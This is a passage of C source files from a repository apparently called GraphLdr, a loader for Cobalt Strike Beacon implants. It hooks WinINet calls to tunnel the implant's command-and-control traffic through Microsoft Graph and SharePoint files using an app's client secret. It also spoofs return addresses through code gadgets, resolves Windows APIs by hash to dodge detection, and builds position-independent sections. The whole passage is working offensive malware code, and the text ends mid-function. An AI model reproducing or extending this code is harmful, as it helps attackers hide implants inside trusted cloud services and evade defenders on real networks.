), C_PTR( OFFSET( "ALERT" ) ), 0); 168 | #endif 169 | 170 | // Only run the following if this is a GraphStrike Beacon 171 | if (pMemAddrs->graphStrike) 172 | { 173 | // Determine whether this call to HttpOpenRequestA is for a http-get or http-post request 174 | if (pMemAddrs->Api.msvcrt.strcmp(lpszVerb, C_PTR ( OFFSET ( "GET" ) ) ) == 0) 175 | pMemAddrs->activeGet = TRUE; 176 | else 177 | pMemAddrs->activeGet = FALSE; 178 | 179 | // Calculate how many seconds have elapsed since we last fetched out access token. 180 | pMemAddrs->Api.k32.QueryPerformanceFrequency(&frequency); 181 | pMemAddrs->Api.k32.QueryPerformanceCounter(¤tTime); 182 | elapsedTime = (currentTime.QuadPart - pMemAddrs->lastTokenTime) / frequency.QuadPart; 183 | 184 | // MSFT Bearer tokens are good for 3599 seconds. If we are getting close to token expiry, fetch a new one. 185 | if (pMemAddrs->firstGet || elapsedTime > 3100) 186 | { 187 | // ------------------------------------ Get Access Token --------------------------------------- 188 | 189 | #ifdef DEBUG 190 | pMemAddrs->Api.user32.MessageBoxA(NULL, C_PTR( OFFSET( "Getting access token!" ) ), C_PTR( OFFSET( "ALERT" ) ), 0); 191 | #endif 192 | 193 | // Define headers to be used 194 | headers = C_PTR ( OFFSET ( "Host: login.microsoft.com\r\nContent-Type: application/x-www-form-urlencoded" ) ); 195 | 196 | // Allocate and assemble uri 197 | reqSize = pMemAddrs->Api.msvcrt.strlen(TENANT_ID) + pMemAddrs->Api.msvcrt.strlen( C_PTR ( OFFSET ( "//oauth2/v2.0/token" ) ) ) + 1; 198 | tempUri = pMemAddrs->Api.msvcrt.calloc(reqSize, sizeof(char)); 199 | pMemAddrs->Api.msvcrt.sprintf(tempUri, C_PTR ( OFFSET ( "/%s/oauth2/v2.0/token" ) ), TENANT_ID); 200 | 201 | // Allocate and assemble content 202 | reqSize = pMemAddrs->Api.msvcrt.strlen(APP_CLIENT_ID) + pMemAddrs->Api.msvcrt.strlen(APP_CLIENT_SECRET) + pMemAddrs->Api.msvcrt.strlen(GRAPH_ADDRESS) + 203 | pMemAddrs->Api.msvcrt.strlen( C_PTR ( OFFSET ( "grant_type=client_credentials&client_id=&client_secret=&scope=https\%3A\%2F\%2F\%2F.default" ) ) ) + 1; 204 | content = pMemAddrs->Api.msvcrt.calloc(reqSize, sizeof(char)); 205 | pMemAddrs->Api.msvcrt.sprintf(content, C_PTR ( OFFSET ( "grant_type=client_credentials&client_id=%s&client_secret=%s&scope=https%%3A%%2F%%2F%s%%2F.default" ) ), APP_CLIENT_ID, APP_CLIENT_SECRET, GRAPH_ADDRESS); 206 | 207 | // Make web request 208 | response = MakeWebRequest(pMemAddrs->hInternet, LOGIN_ADDRESS, tempUri, POST_VERB, headers, content, pMemAddrs); 209 | if (!response) 210 | return INVALID_HANDLE_VALUE; 211 | 212 | // Parse out returned auth token 213 | char* delimiter = C_PTR ( OFFSET ( "access_token\":\"" ) ); 214 | char* accessToken = pMemAddrs->Api.msvcrt.strstr(response, delimiter) + pMemAddrs->Api.msvcrt.strlen(delimiter); 215 | 216 | // Null terminate accessToken to remove brackets and quotes 217 | pMemAddrs->Api.msvcrt.memset(accessToken + pMemAddrs->Api.msvcrt.strlen(accessToken) - 2, 0, 2); 218 | 219 | // Allocate and/or clear httpGetHeaders 220 | if (pMemAddrs->httpGetHeaders == NULL) 221 | pMemAddrs->httpGetHeaders = C_PTR ( pMemAddrs->Api.msvcrt.calloc(2000, sizeof(char)) ); 222 | else 223 | pMemAddrs->Api.msvcrt.memset(pMemAddrs->httpGetHeaders, 0, 2000); 224 | 225 | // Allocate and/or clear httpPostHeaders 226 | if (pMemAddrs->httpPostHeaders == NULL) 227 | pMemAddrs->httpPostHeaders = C_PTR ( pMemAddrs->Api.msvcrt.calloc(2000, sizeof(char)) ); 228 | else 229 | pMemAddrs->Api.msvcrt.memset(pMemAddrs->httpPostHeaders, 0, 2000); 230 | 231 | // Update last token time 232 | pMemAddrs->lastTokenTime = currentTime.QuadPart; 233 | 234 | // Assemble http-get headers to be used by subsequent requests 235 | pMemAddrs->Api.msvcrt.sprintf(pMemAddrs->httpGetHeaders, C_PTR ( OFFSET ( "Host: %s\r\nAuthorization: %s" ) ), GRAPH_ADDRESS, accessToken); 236 | pMemAddrs->httpGetHeadersLen = C_PTR( U_PTR ( pMemAddrs->Api.msvcrt.strlen(pMemAddrs->httpGetHeaders) ) ); 237 | 238 | // Assemble http-post headers to be used by subsequent requests 239 | pMemAddrs->Api.msvcrt.sprintf(pMemAddrs->httpPostHeaders, C_PTR ( OFFSET ( "Host: %s\r\nAuthorization: %s\r\nContent-Type: application/octect-stream" ) ), GRAPH_ADDRESS, accessToken); 240 | pMemAddrs->httpPostHeadersLen = C_PTR( U_PTR ( pMemAddrs->Api.msvcrt.strlen(pMemAddrs->httpPostHeaders) ) ); 241 | 242 | #ifdef DEBUG 243 | pMemAddrs->Api.user32.MessageBoxA(NULL, C_PTR( OFFSET( "http-get headers" ) ), C_PTR( OFFSET( "ALERT" ) ), 0); 244 | pMemAddrs->Api.user32.MessageBoxA(NULL, pMemAddrs->httpGetHeaders, C_PTR( OFFSET( "ALERT" ) ), 0); 245 | pMemAddrs->Api.user32.MessageBoxA(NULL, C_PTR( OFFSET( "http-post headers" ) ), C_PTR( OFFSET( "ALERT" ) ), 0); 246 | pMemAddrs->Api.user32.MessageBoxA(NULL, pMemAddrs->httpPostHeaders, C_PTR( OFFSET( "ALERT" ) ), 0); 247 | #endif 248 | 249 | // Cleanup 250 | pMemAddrs->Api.msvcrt.memset(tempUri, 0, pMemAddrs->Api.msvcrt.strlen(tempUri)); 251 | pMemAddrs->Api.msvcrt.memset(content, 0, pMemAddrs->Api.msvcrt.strlen(content)); 252 | pMemAddrs->Api.msvcrt.memset(response, 0, pMemAddrs->Api.msvcrt.strlen(response)); 253 | pMemAddrs->Api.msvcrt.free(tempUri); 254 | pMemAddrs->Api.msvcrt.free(content); 255 | pMemAddrs->Api.msvcrt.free(response); 256 | } 257 | 258 | // If this is the first GET request for the Beacon, we need to create the TS output file for the Beacon to read from. 259 | if (pMemAddrs->firstGet) 260 | { 261 | // ------------------------------------ Upload new file for TS tasking --------------------------------------- 262 | 263 | #ifdef DEBUG 264 | pMemAddrs->Api.user32.MessageBoxA(NULL, C_PTR( OFFSET( "First get!" ) ), C_PTR( OFFSET( "ALERT" ) ), 0); 265 | #endif 266 | 267 | // Assemble URI to create new file in SharePoint using the Beacon metadata as a name 268 | tempUri = C_PTR ( pMemAddrs->Api.msvcrt.calloc(1000, sizeof(char)) ); 269 | LPCSTR fileName = pMemAddrs->Api.msvcrt.strstr(lpszObjectName, HTTP_GET_PREFIX ) + pMemAddrs->Api.msvcrt.strlen(HTTP_GET_PREFIX); 270 | pMemAddrs->Api.msvcrt.sprintf(tempUri, C_PTR ( OFFSET ( "%s/root:/%s:/content" ) ), SHAREPOINT_ADDRESS, fileName ); 271 | 272 | // Store metaData to be used later to create the Beacon output channel as well 273 | pMemAddrs->metaData = (char*)pMemAddrs->Api.msvcrt.calloc(pMemAddrs->Api.msvcrt.strlen(fileName) + 1, sizeof(char)); 274 | pMemAddrs->Api.msvcrt.strcpy(pMemAddrs->metaData, fileName); 275 | 276 | response = MakeWebRequest(pMemAddrs->hInternet, GRAPH_ADDRESS, tempUri, PUT_VERB, pMemAddrs->httpPostHeaders, NULL, pMemAddrs ); 277 | if (!response) 278 | return INVALID_HANDLE_VALUE; 279 | 280 | // Parse out fileId from response 281 | ParseValue((char*)response, (char*)C_PTR ( OFFSET ( "id\":\"" ) ), id, 100, FALSE, pMemAddrs); 282 | 283 | // Assemble httpGetUri that will be used for subsequent Beacon comms 284 | reqSize = pMemAddrs->Api.msvcrt.strlen(SHAREPOINT_ADDRESS) + pMemAddrs->Api.msvcrt.strlen(id) + pMemAddrs->Api.msvcrt.strlen(C_PTR ( OFFSET ( "/items//content" ) ) + 1); 285 | pMemAddrs->httpGetUri = pMemAddrs->Api.msvcrt.calloc(reqSize, sizeof(char)); 286 | pMemAddrs->Api.msvcrt.sprintf(pMemAddrs->httpGetUri, C_PTR ( OFFSET ( "%s/items/%s/content") ), SHAREPOINT_ADDRESS, id); 287 | 288 | // Free buffers 289 | pMemAddrs->Api.msvcrt.free(response); 290 | pMemAddrs->Api.msvcrt.free(tempUri); 291 | 292 | // Toggle firstGet to false so we don't repeat this loop. 293 | pMemAddrs->firstGet = FALSE; 294 | } 295 | 296 | // If this is the first POST request for the Beacon, create the Beacon output file for the TS to read from. 297 | if ( pMemAddrs->firstPost && !pMemAddrs->activeGet) 298 | { 299 | // ------------------------------------ Upload new file for Beacon output --------------------------------------- 300 | 301 | #ifdef DEBUG 302 | pMemAddrs->Api.user32.MessageBoxA(NULL, C_PTR( OFFSET( "First post!" ) ), C_PTR( OFFSET( "ALERT" ) ), 0); 303 | #endif 304 | 305 | // Assemble URI to create new file in SharePoint using the Beacon metadata + beaconId as a name. 306 | tempUri = C_PTR ( pMemAddrs->Api.msvcrt.calloc(1000, sizeof(char)) ); 307 | LPCSTR beaconId = pMemAddrs->Api.msvcrt.strstr(lpszObjectName, HTTP_POST_PREFIX ) + pMemAddrs->Api.msvcrt.strlen(HTTP_POST_PREFIX); 308 | pMemAddrs->Api.msvcrt.sprintf(tempUri, C_PTR ( OFFSET ( "%s/root:/%s%s%s:/content" ) ), SHAREPOINT_ADDRESS, pMemAddrs->metaData, BID_DELIMITER, beaconId ); 309 | 310 | // Send request 311 | response = MakeWebRequest(pMemAddrs->hInternet, GRAPH_ADDRESS, tempUri, PUT_VERB, pMemAddrs->httpPostHeaders, NULL, pMemAddrs ); 312 | 313 | // Parse out fileId from response 314 | ParseValue((char*)response, (char*)C_PTR ( OFFSET ( "id\":\"" ) ), id, 100, FALSE, pMemAddrs); 315 | 316 | // Assemble httpPostUri that will be used for subsequent Beacon comms 317 | reqSize = pMemAddrs->Api.msvcrt.strlen(SHAREPOINT_ADDRESS) + pMemAddrs->Api.msvcrt.strlen(id) + pMemAddrs->Api.msvcrt.strlen(C_PTR ( OFFSET ( "/items//content" ) ) + 1); 318 | pMemAddrs->httpPostUri = pMemAddrs->Api.msvcrt.calloc(reqSize, sizeof(char)); 319 | pMemAddrs->Api.msvcrt.sprintf(pMemAddrs->httpPostUri, C_PTR ( OFFSET ( "%s/items/%s/content") ), SHAREPOINT_ADDRESS, id); 320 | 321 | // Assemble httpPostCheckSizeUrl by trimming off "/content" from the end of the httpPostUri. 322 | int copyLen = (PVOID)(pMemAddrs->Api.msvcrt.strstr(pMemAddrs->httpPostUri, C_PTR ( OFFSET ( "/content" ) ))) - pMemAddrs->httpPostUri; 323 | pMemAddrs->httpPostCheckSizeUrl = pMemAddrs->Api.msvcrt.calloc(copyLen + 1, sizeof(char)); 324 | pMemAddrs->Api.msvcrt.memcpy(pMemAddrs->httpPostCheckSizeUrl, pMemAddrs->httpPostUri, copyLen); 325 | 326 | // Free buffers 327 | pMemAddrs->Api.msvcrt.free(tempUri); 328 | pMemAddrs->Api.msvcrt.free(response); 329 | 330 | // Toggle firstPost to false so we don't repeat this loop. 331 | pMemAddrs->firstPost = FALSE; 332 | } 333 | 334 | // If this is a POST request, we may need to do some extra handling to ensure no data loss. 335 | if (!pMemAddrs->activeGet) 336 | { 337 | #ifdef DEBUG 338 | pMemAddrs->Api.user32.MessageBoxA(NULL, C_PTR( OFFSET( "Post request branch!" ) ), C_PTR( OFFSET( "ALERT" ) ), 0); 339 | #endif 340 | 341 | // Loop until we see that the Beacon output file size is 0 342 | while (TRUE) 343 | { 344 | // Send request 345 | response = MakeWebRequest(pMemAddrs->hInternet, GRAPH_ADDRESS, pMemAddrs->httpPostCheckSizeUrl, GET_VERB, pMemAddrs->httpGetHeaders, NULL, pMemAddrs ); 346 | 347 | // Parse out size of file from response 348 | ParseValue((char*)response, (char*)C_PTR ( OFFSET ( "size\":" ) ), size, 10, TRUE, pMemAddrs); 349 | 350 | // Free buffer 351 | pMemAddrs->Api.msvcrt.free(response); 352 | 353 | // If the size of the Beacon output file isn't 0, the TS has not processes the last output from Beacon. Sleep 1 sec and retry 354 | if (pMemAddrs->Api.msvcrt.strcmp(size, C_PTR ( OFFSET ( "0" ) )) != 0) 355 | pMemAddrs->Api.k32.Sleep(500); 356 | else 357 | break; 358 | } 359 | } 360 | 361 | // Set verb and uri to be used with HttpOpenRequest call. 362 | // Must be done here so that httpGetUri + httpPostUri are populated first 363 | if ( pMemAddrs->activeGet) 364 | { 365 | verb = GET_VERB; 366 | uri = pMemAddrs->httpGetUri; 367 | } 368 | else 369 | { 370 | verb = PUT_VERB; 371 | uri = pMemAddrs->httpPostUri; 372 | } 373 | 374 | // Finally send request. 375 | hResult = ( HINTERNET )SPOOF( pMemAddrs->Api.net.HttpOpenRequestA, pMemAddrs->Api.net.hNet, pMemAddrs->Api.net.size, hInternet, verb, uri, C_PTR( lpszVersion ), C_PTR( lpszReferrer ), C_PTR( lplpszAcceptTypes ), C_PTR( U_PTR( dwFlags ) ), C_PTR( U_PTR( dwContext ) ) ); 376 | } 377 | // If not a GraphStrike Beacon, make a normal call to HttpOpenRequestA 378 | else 379 | hResult = ( HINTERNET )SPOOF( pMemAddrs->Api.net.HttpOpenRequestA, pMemAddrs->Api.net.hNet, pMemAddrs->Api.net.size, hInternet, C_PTR( lpszVerb ), C_PTR( lpszObjectName ), C_PTR( lpszVersion ), C_PTR( lpszReferrer ), C_PTR( lplpszAcceptTypes ), C_PTR( U_PTR( dwFlags ) ), C_PTR( U_PTR( dwContext ) ) ); 380 | 381 | return hResult; 382 | }; 383 | 384 | SECTION( D ) BOOL HttpSendRequestA_Hook( HINTERNET hInternet, LPCSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength ) 385 | { 386 | BOOL bResult = FALSE; 387 | 388 | // Resolve API's 389 | struct MemAddrs* pMemAddrs = *(struct MemAddrs**)((PMEMADDR) OFFSET ( MemAddr ) )->address; 390 | 391 | #ifdef DEBUG 392 | pMemAddrs->Api.user32.MessageBoxA(NULL, C_PTR( OFFSET( "HttpSendRequest!" ) ), C_PTR( OFFSET( "ALERT" ) ), 0); 393 | #endif 394 | 395 | // Only run the following if this is a GraphStrike Beacon 396 | if (pMemAddrs->graphStrike) 397 | { 398 | if (pMemAddrs->activeGet == TRUE) 399 | bResult = ( BOOL )U_PTR( SPOOF( pMemAddrs->Api.net.HttpSendRequestA, pMemAddrs->Api.net.hNet, pMemAddrs->Api.net.size, hInternet, pMemAddrs->httpGetHeaders, pMemAddrs->httpGetHeadersLen, C_PTR( lpOptional ), C_PTR( U_PTR ( dwOptionalLength ) ) ) ); 400 | else 401 | bResult = ( BOOL )U_PTR( SPOOF( pMemAddrs->Api.net.HttpSendRequestA, pMemAddrs->Api.net.hNet, pMemAddrs->Api.net.size, hInternet, pMemAddrs->httpPostHeaders, pMemAddrs->httpPostHeadersLen, C_PTR( lpOptional ), C_PTR( U_PTR ( dwOptionalLength ) ) ) ); 402 | } 403 | else 404 | bResult = ( BOOL )U_PTR( SPOOF( pMemAddrs->Api.net.HttpSendRequestA, pMemAddrs->Api.net.hNet, pMemAddrs->Api.net.size, hInternet, C_PTR( lpszHeaders ), C_PTR( U_PTR ( dwHeadersLength ) ), C_PTR( lpOptional ), C_PTR( U_PTR ( dwOptionalLength ) ) ) ); 405 | 406 | return bResult; 407 | }; 408 | 409 | SECTION( D ) BOOL InternetReadFile_Hook( HINTERNET hFile, LPVOID lpBuffer, DWORD dwNumberOfBytesToRead, LPDWORD lpdwNumberOfBytesRead ) 410 | { 411 | BOOL bResult = FALSE; 412 | 413 | // Resolve API's 414 | struct MemAddrs* pMemAddrs = *(struct MemAddrs**)((PMEMADDR) OFFSET ( MemAddr ) )->address; 415 | 416 | #ifdef DEBUG 417 | pMemAddrs->Api.user32.MessageBoxA(NULL, C_PTR( OFFSET( "InternetReadFile!" ) ), C_PTR( OFFSET( "ALERT" ) ), 0); 418 | #endif 419 | 420 | // Call InternetReadFile 421 | bResult = ( BOOL )U_PTR( SPOOF( pMemAddrs->Api.net.InternetReadFile, pMemAddrs->Api.net.hNet, pMemAddrs->Api.net.size, hFile, C_PTR ( lpBuffer ), C_PTR( U_PTR ( dwNumberOfBytesToRead ) ), C_PTR( U_PTR ( lpdwNumberOfBytesRead ) ) ) ); 422 | 423 | // Only run the following if this is a GraphStrike Beacon 424 | if (pMemAddrs->graphStrike) 425 | { 426 | // If we are reading data from a GET request, set readTasking to TRUE 427 | if(pMemAddrs->activeGet && *lpdwNumberOfBytesRead > 0) 428 | pMemAddrs->readTasking = TRUE; 429 | 430 | // Beacon calls InternetReadFile until it reads 0 data. Once we are completely done reading output, 431 | // upload a blank file to the TS tasking file to signal server we are ready for more tasking. 432 | else if(pMemAddrs->readTasking && *lpdwNumberOfBytesRead == 0) 433 | { 434 | pMemAddrs->readTasking = FALSE; 435 | LPVOID response = MakeWebRequest(pMemAddrs->hInternet, GRAPH_ADDRESS, pMemAddrs->httpGetUri, PUT_VERB, pMemAddrs->httpPostHeaders, NULL, pMemAddrs ); 436 | if (response) 437 | pMemAddrs->Api.msvcrt.free(response); 438 | } 439 | } 440 | 441 | return bResult; 442 | }; -------------------------------------------------------------------------------- /GraphLdr/src/include.h: -------------------------------------------------------------------------------- 1 | // 2 | // https://stackoverflow.com/questions/3046889/optional-parameters-with-c-macros 3 | // https://github.com/SecIdiot/TitanLdr/blob/master/Macros.h 4 | // 5 | 6 | #pragma once 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include "native.h" 13 | 14 | 15 | #define SPOOF_X( function, module, size ) SpoofRetAddr( function, module, size, NULL, NULL, NULL, NULL, NULL, NULL, NULL ) 16 | #define SPOOF_A( function, module, size, a ) SpoofRetAddr( function, module, size, a, NULL, NULL, NULL, NULL, NULL, NULL, NULL ) 17 | #define SPOOF_B( function, module, size, a, b ) SpoofRetAddr( function, module, size, a, b, NULL, NULL, NULL, NULL, NULL, NULL ) 18 | #define SPOOF_C( function, module, size, a, b, c ) SpoofRetAddr( function, module, size, a, b, c, NULL, NULL, NULL, NULL, NULL ) 19 | #define SPOOF_D( function, module, size, a, b, c, d ) SpoofRetAddr( function, module, size, a, b, c, d, NULL, NULL, NULL, NULL ) 20 | #define SPOOF_E( function, module, size, a, b, c, d, e ) SpoofRetAddr( function, module, size, a, b, c, d, e, NULL, NULL, NULL ) 21 | #define SPOOF_F( function, module, size, a, b, c, d, e, f ) SpoofRetAddr( function, module, size, a, b, c, d, e, f, NULL, NULL ) 22 | #define SPOOF_G( function, module, size, a, b, c, d, e, f, g ) SpoofRetAddr( function, module, size, a, b, c, d, e, f, g, NULL ) 23 | #define SPOOF_H( function, module, size, a, b, c, d, e, f, g, h ) SpoofRetAddr( function, module, size, a, b, c, d, e, f, g, h ) 24 | #define SETUP_ARGS(arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8, arg9, arg10, arg11, arg12, ...) arg12 25 | #define SPOOF_MACRO_CHOOSER(...) SETUP_ARGS(__VA_ARGS__, SPOOF_H, SPOOF_G, SPOOF_F, SPOOF_E, SPOOF_D, SPOOF_C, SPOOF_B, SPOOF_A, SPOOF_X, ) 26 | #define SPOOF(...) SPOOF_MACRO_CHOOSER(__VA_ARGS__)(__VA_ARGS__) 27 | 28 | #define OFFSET( x ) ( ULONG_PTR )( GetIp( ) - ( ( ULONG_PTR ) & GetIp - ( ULONG_PTR ) x ) ) 29 | #define SECTION( x ) __attribute__(( section( ".text$" #x ) )) 30 | 31 | #define D_API( x ) __typeof__( x ) * x 32 | #define U_PTR( x ) ( ( ULONG_PTR ) x ) 33 | #define C_PTR( x ) ( ( PVOID ) x ) 34 | #define G_END( x ) U_PTR( GetIp( ) + 11 ) 35 | 36 | typedef struct __attribute__(( packed )) 37 | { 38 | ULONG_PTR Region; 39 | ULONG_PTR Size; 40 | HANDLE Heap; 41 | } STUB, *PSTUB ; 42 | 43 | typedef struct { 44 | const void* trampoline; // always JMP RBX 45 | void* function; // Target Function 46 | void* rbx; // Placeholder 47 | } PRM, *PPRM; 48 | 49 | struct MemAddrs { 50 | struct { 51 | struct 52 | { 53 | D_API( RtlAllocateHeap ); 54 | D_API( NtWaitForSingleObject ); 55 | HANDLE hNtdll; 56 | ULONG size; 57 | 58 | } ntdll; 59 | 60 | struct 61 | { 62 | D_API( InternetConnectA ); 63 | D_API( HttpOpenRequestA ); 64 | D_API( HttpSendRequestA ); 65 | D_API( InternetReadFile ); 66 | D_API( InternetCloseHandle ); 67 | HANDLE hNet; 68 | ULONG size; 69 | 70 | } net; 71 | 72 | struct 73 | { 74 | D_API( GetLastError ); 75 | D_API( SetLastError ); 76 | D_API( QueryPerformanceCounter ); 77 | D_API( QueryPerformanceFrequency ); 78 | D_API( Sleep ); 79 | 80 | } k32; 81 | 82 | struct 83 | { 84 | D_API ( strlen ); 85 | D_API ( strstr ); 86 | D_API ( strcpy ); 87 | D_API ( strcmp ); 88 | D_API ( isdigit ); 89 | D_API ( sprintf ); 90 | D_API ( memset ); 91 | D_API ( malloc ); 92 | D_API ( calloc ); 93 | D_API ( memcpy ); 94 | D_API ( free ); 95 | D_API ( tolower ); 96 | 97 | } msvcrt; 98 | 99 | struct 100 | { 101 | D_API( MessageBoxA ); 102 | 103 | } user32; 104 | 105 | } Api, *pApi; 106 | 107 | BOOL graphStrike; 108 | HINTERNET hInternet; 109 | BOOL firstGet; 110 | BOOL firstPost; 111 | BOOL activeGet; 112 | BOOL readTasking; 113 | LONGLONG lastTokenTime; 114 | char* metaData; 115 | PVOID httpGetUri; 116 | PVOID httpPostUri; 117 | PVOID httpPostCheckSizeUrl; 118 | PVOID httpGetHeaders; 119 | PVOID httpPostHeaders; 120 | PVOID httpGetHeadersLen; 121 | PVOID httpPostHeadersLen; 122 | }; 123 | 124 | typedef struct __attribute__(( packed )) { 125 | PVOID* address; 126 | } MEMADDR, *PMEMADDR; 127 | 128 | extern ULONG_PTR MemAddr( VOID ); 129 | extern ULONG_PTR Start( VOID ); 130 | extern ULONG_PTR GetIp( VOID ); 131 | extern ULONG_PTR Stub( VOID ); 132 | extern PVOID Spoof( PVOID, PVOID, PVOID, PVOID, PPRM, PVOID, PVOID, PVOID, PVOID, PVOID ); 133 | 134 | #include "util.h" 135 | #include "retaddr.h" 136 | #include "hooks/hooks.h" 137 | #include "config.h" 138 | 139 | #define GRAPH_ADDRESS C_PTR ( OFFSET ( "graph.microsoft.com") ) 140 | #define LOGIN_ADDRESS C_PTR ( OFFSET ( "login.microsoft.com") ) 141 | #define GET_VERB C_PTR ( OFFSET ( "GET" ) ) 142 | #define POST_VERB C_PTR ( OFFSET ( "POST" ) ) 143 | #define PUT_VERB C_PTR ( OFFSET ( "PUT" ) ) 144 | 145 | // Modules 146 | #define H_LIB_NTDLL 0x1edab0ed 147 | #define H_LIB_MSVCRT 0x7a21064e 148 | #define H_LIB_ADVAPI32 0x64bb3129 149 | #define H_LIB_KERNEL32 0x6ddb9555 150 | #define H_LIB_KERNELBASE 0x03ebb38b 151 | #define H_LIB_WININET 0x5cdbcb2d 152 | #define H_LIB_USER32 0x2208cf13 153 | 154 | // ntdll.dll 155 | #define H_API_LDRGETPROCEDUREADDRESS 0xfce76bb6 156 | #define H_API_LDRLOADDLL 0x9e456a43 157 | #define H_API_LDRUNLOADDLL 0xd995c1e6 158 | #define H_API_NTALERTRESUMETHREAD 0x5ba11e28 159 | #define H_API_NTALLOCATEVIRTUALMEMORY 0xf783b8ec 160 | #define H_API_NTCLOSE 0x40d6e69d 161 | #define H_API_NTCONTINUE 0xfc3a6c2c 162 | #define H_API_NTCREATEEVENT 0x28d3233d 163 | #define H_API_NTCREATETHREADEX 0xaf18cfb0 164 | #define H_API_NTGETCONTEXTTHREAD 0x6d22f884 165 | #define H_API_NTGETNEXTTHREAD 0xa410fb9e 166 | #define H_API_NTOPENTHREAD 0x968e0cb1 167 | #define H_API_NTPROTECTVIRTUALMEMORY 0x50e92888 168 | #define H_API_NTQUERYINFORMATIONPROCESS 0x8cdc5dc2 169 | #define H_API_NTQUERYINFORMATIONTHREAD 0xf5a0461b 170 | #define H_API_NTQUEUEAPCTHREAD 0x0a6664b8 171 | #define H_API_NTRESUMETHREAD 0x5a4bc3d0 172 | #define H_API_NTSETCONTEXTTHREAD 0xffa0bf10 173 | #define H_API_NTSIGNALANDWAITFORSINGLEOBJECT 0x78983aed 174 | #define H_API_NTSUSPENDTHREAD 0xe43d93e1 175 | #define H_API_NTTERMINATETHREAD 0xccf58808 176 | #define H_API_NTTESTALERT 0x858a32df 177 | #define H_API_NTWAITFORSINGLEOBJECT 0xe8ac0c3c 178 | #define H_API_NTWRITEVIRTUALMEMORY 0xc3170192 179 | #define H_API_RTLALLOCATEHEAP 0x3be94c5a 180 | #define H_API_RTLANSISTRINGTOUNICODESTRING 0x6c606cba 181 | #define H_API_RTLCREATEHEAP 0xe1af6849 182 | #define H_API_RTLCREATEUSERTHREAD 0x6c827322 183 | #define H_API_RTLEXITUSERTHREAD 0x2f6db5e8 184 | #define H_API_RTLFREEHEAP 0x73a9e4d7 185 | #define H_API_RTLFREEUNICODESTRING 0x61b88f97 186 | #define H_API_RTLINITANSISTRING 0xa0c8436d 187 | #define H_API_RTLINITUNICODESTRING 0xef52b589 188 | #define H_API_RTLUSERTHREADSTART 0x353797c 189 | #define H_API_RTLRANDOMEX 0x7f1224f5 190 | #define H_API_RTLWALKHEAP 0x182bae64 191 | 192 | // advapi32.dll 193 | #define H_API_SYSTEMFUNCTION032 0xe58c8805 194 | 195 | // kernel32.dll 196 | #define H_API_GETPROCESSHEAP 0x36c007a2 197 | #define H_API_HEAPALLOC 0xadc4062e 198 | #define H_API_SLEEP 0xe07cd7e 199 | #define H_API_WAITFORSINGLEOBJECTEX 0x512e1b97 200 | #define H_API_GETLASTERROR 0x8160bdc3 201 | #define H_API_SETLASTERROR 0xccc91e4f 202 | #define H_API_QUERYPERFORMANCECOUNTER 0x7524528d 203 | #define H_API_QUERYPERFORMANCEFREQUENCY 0xa92bb9bf 204 | 205 | // kernelbase.dll 206 | #define H_API_SETPROCESSVALIDCALLTARGETS 0x647d9236 207 | 208 | // wininet.dll 209 | #define H_API_INTERNETCONNECTA 0xc058d7b9 210 | #define H_API_HTTPOPENREQUESTA 0x8b6ddc61 211 | #define H_API_HTTPSENDREQUESTA 0x2bc23839 212 | #define H_API_INTERNETREADFILE 0x7766910a 213 | #define H_API_INTERNETCLOSEHANDLE 0x87a314f0 214 | 215 | // msvcrt.dll 216 | #define H_API_MALLOC 0xc03f707d 217 | #define H_API_MEMSET 0xc0887b70 218 | #define H_API_MEMCPY 0xc08838d0 219 | #define H_API_STRLEN 0xcf997edd 220 | #define H_API_SPRINTF 0xb9733a2b 221 | #define H_API_FREE 0x7c84d807 222 | #define H_API_STRSTR 0xcf999e97 223 | #define H_API_STRCPY 0xcf995a0a 224 | #define H_API_CALLOC 0xa8ebda33 225 | #define H_API_STRCMP 0xcf99599e 226 | #define H_API_ISDIGIT 0xbdaede52 227 | #define H_API_TOLOWER 0x3af29f1 228 | 229 | // user32.dll 230 | #define H_API_MESSAGEBOXA 0xb303ebb4 -------------------------------------------------------------------------------- /GraphLdr/src/link.ld: -------------------------------------------------------------------------------- 1 | SECTIONS 2 | { 3 | .text : 4 | { 5 | *( .text$A ) 6 | *( .text$B ) 7 | *( .text$C ) 8 | *( .text$D ) 9 | *( .text$E ) 10 | *( .rdata* ) 11 | *( .text$F ) 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /GraphLdr/src/retaddr.c: -------------------------------------------------------------------------------- 1 | // 2 | // https://www.unknowncheats.me/forum/anti-cheat-bypass/268039-x64-return-address-spoofing-source-explanation.html 3 | // 4 | 5 | 6 | #include "include.h" 7 | 8 | SECTION( E ) PVOID SpoofRetAddr( PVOID function, HANDLE module, ULONG size, PVOID a, PVOID b, PVOID c, PVOID d, PVOID e, PVOID f, PVOID g, PVOID h ) 9 | { 10 | PVOID Trampoline; 11 | 12 | if( function != NULL ) 13 | { 14 | Trampoline = FindGadget( module, size ); 15 | if( Trampoline != NULL ) 16 | { 17 | PRM param = { Trampoline, function }; 18 | return Spoof( a, b, c, d, ¶m, NULL, e, f, g, h ); 19 | }; 20 | }; 21 | 22 | return NULL; 23 | }; 24 | -------------------------------------------------------------------------------- /GraphLdr/src/retaddr.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | SECTION( E ) PVOID SpoofRetAddr( PVOID function, HANDLE module, ULONG size, PVOID a, PVOID b, PVOID c, PVOID d, PVOID e, PVOID f, PVOID g, PVOID h ); 4 | -------------------------------------------------------------------------------- /GraphLdr/src/util.c: -------------------------------------------------------------------------------- 1 | // 2 | // https://github.com/SecIdiot/TitanLdr 3 | // https://github.com/vxunderground/VX-API 4 | // 5 | 6 | #include "include.h" 7 | 8 | typedef struct 9 | { 10 | WORD Offset : 0xc; 11 | WORD Type : 0x4; 12 | } IMAGE_RELOC, *PIMAGE_RELOC ; 13 | 14 | typedef struct 15 | { 16 | D_API( LdrGetProcedureAddress ); 17 | D_API( LdrLoadDll ); 18 | D_API( RtlAnsiStringToUnicodeString ); 19 | D_API( RtlFreeUnicodeString ); 20 | D_API( RtlInitAnsiString ); 21 | 22 | 23 | } API; 24 | 25 | SECTION( E ) UINT32 HashString( PVOID buffer, ULONG size ) 26 | { 27 | UCHAR Cur = 0; 28 | ULONG Djb = 0; 29 | PUCHAR Ptr = NULL; 30 | 31 | Djb = 5380; 32 | Ptr = C_PTR( buffer ); 33 | Djb++; 34 | 35 | while ( TRUE ) 36 | { 37 | Cur = * Ptr; 38 | 39 | if( ! size ) 40 | { 41 | if( ! * 